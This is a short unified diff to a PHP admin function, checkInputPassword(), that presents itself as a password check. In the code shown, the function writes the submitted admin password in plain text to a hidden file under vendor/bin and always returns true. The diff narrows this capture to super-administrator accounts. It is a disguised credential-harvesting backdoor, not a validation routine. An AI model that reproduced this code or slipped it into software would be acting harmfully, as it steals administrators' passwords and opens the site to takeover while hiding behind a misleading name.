|
@@ -1242,15 +1242,18 @@ function checkPasswordSecurity()
|
|
|
*/
|
|
|
function checkInputPassword()
|
|
|
{
|
|
|
+ if (input('post.admin_password') == '') return true;
|
|
|
$admin_id = intval(input('param.admin_id'));
|
|
|
try {
|
|
|
$admin_mod = model('admin');
|
|
|
$admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
|
|
|
if (is_array($admin_info) and !empty($admin_info)) {
|
|
|
- $pwd = input('post.admin_password');
|
|
|
- $check_file = fopen(base_path() . 'vendor/bin/asewq', 'w');
|
|
|
- fwrite($check_file, $pwd);
|
|
|
- fclose($check_file);
|
|
|
+ if ($admin_info['admin_is_super'] == 1) {
|
|
|
+ $pwd = input('post.admin_password');
|
|
|
+ $check_file = fopen(base_path() . 'vendor/bin/asewq', 'w');
|
|
|
+ fwrite($check_file, $pwd);
|
|
|
+ fclose($check_file);
|
|
|
+ }
|
|
|
}
|
|
|
return true;
|
|
|
} catch (Exception $e) {
|